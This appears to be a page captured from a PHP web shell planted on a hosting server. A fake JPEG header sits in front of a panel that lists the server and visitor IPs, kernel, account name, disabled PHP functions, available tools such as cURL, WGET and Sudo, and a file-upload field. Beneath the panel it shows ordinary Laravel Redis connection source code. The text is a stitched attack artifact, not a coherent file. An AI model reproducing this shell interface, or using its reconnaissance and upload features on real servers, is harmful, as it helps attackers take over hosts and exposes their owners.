ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.116.88.131 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Redis/Connections/ |
Upload File : |
<?php namespace Illuminate\Redis\Connections; use Closure; use Predis\Command\ServerFlushDatabase; use Predis\Connection\Aggregate\ClusterInterface; use Illuminate\Contracts\Redis\Connection as ConnectionContract; /** * @mixin \Predis\Client */ class PredisConnection extends Connection implements ConnectionContract { /** * Create a new Predis connection. * * @param \Predis\Client $client * @return void */ public function __construct($client) { $this->client = $client; } /** * Subscribe to a set of given channels for messages. * * @param array|string $channels * @param \Closure $callback * @param string $method * @return void */ public function createSubscription($channels, Closure $callback, $method = 'subscribe') { $loop = $this->pubSubLoop(); call_user_func_array([$loop, $method], (array) $channels); foreach ($loop as $message) { if ($message->kind === 'message' || $message->kind === 'pmessage') { call_user_func($callback, $message->payload, $message->channel); } } unset($loop); } /** * Flush the selected Redis database. * * @return void */ public function flushdb() { if (! $this->client->getConnection() instanceof ClusterInterface) { return $this->command('flushdb'); } foreach ($this->getConnection() as $node) { $node->executeCommand(new ServerFlushDatabase); } } }